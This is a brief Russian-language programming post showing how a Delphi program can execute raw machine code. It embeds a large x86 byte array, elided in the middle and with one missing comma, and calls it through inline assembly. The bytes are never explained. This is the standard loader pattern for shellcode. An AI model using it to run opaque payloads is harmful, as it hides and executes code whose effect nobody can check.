Запускаем машинный код в DELPHI

Недавно, нужно было выполнить машинный код, не знал, что Delphi это может, всё оказалось просто, с небольшим кодом на asm...

Пример:

program serj;
uses
Classes,windows,sysutils;
 
const
 
sex: array[0..5764] of byte =
(
$55, $8B, $EC, $81, $C4, $30, $F0, $FF, $FF, $60, $33, $C0, $8D, $BD, $84, $F0,
$FF, $FF, $B9, $74, $0F, $00, $00, $F3, $AA, $33, $C0, $8D, $BD, $40, $F0, $FF,
$FF, $B9, $44, $00, $00, $00, $F3, $AA, $C7, $85, $AD, $F1, $FF, $FF, $E7, $00,
$00, $00, $E9 $6E, $0D, $00, $00, $55, $8B, $EC, $81, $C4, $30, $FA, $FF, $FF,
$8B, $75, $08, $8D, $86, $FB, $03, $00, $00, $50, $6A, $00, $6A, $00, $FF, $96,
...
$C2, $04, $00, $00, $00
);
 
 
begin
asm
pushad
mov eax, offset sex
call eax
popad
end
 
end.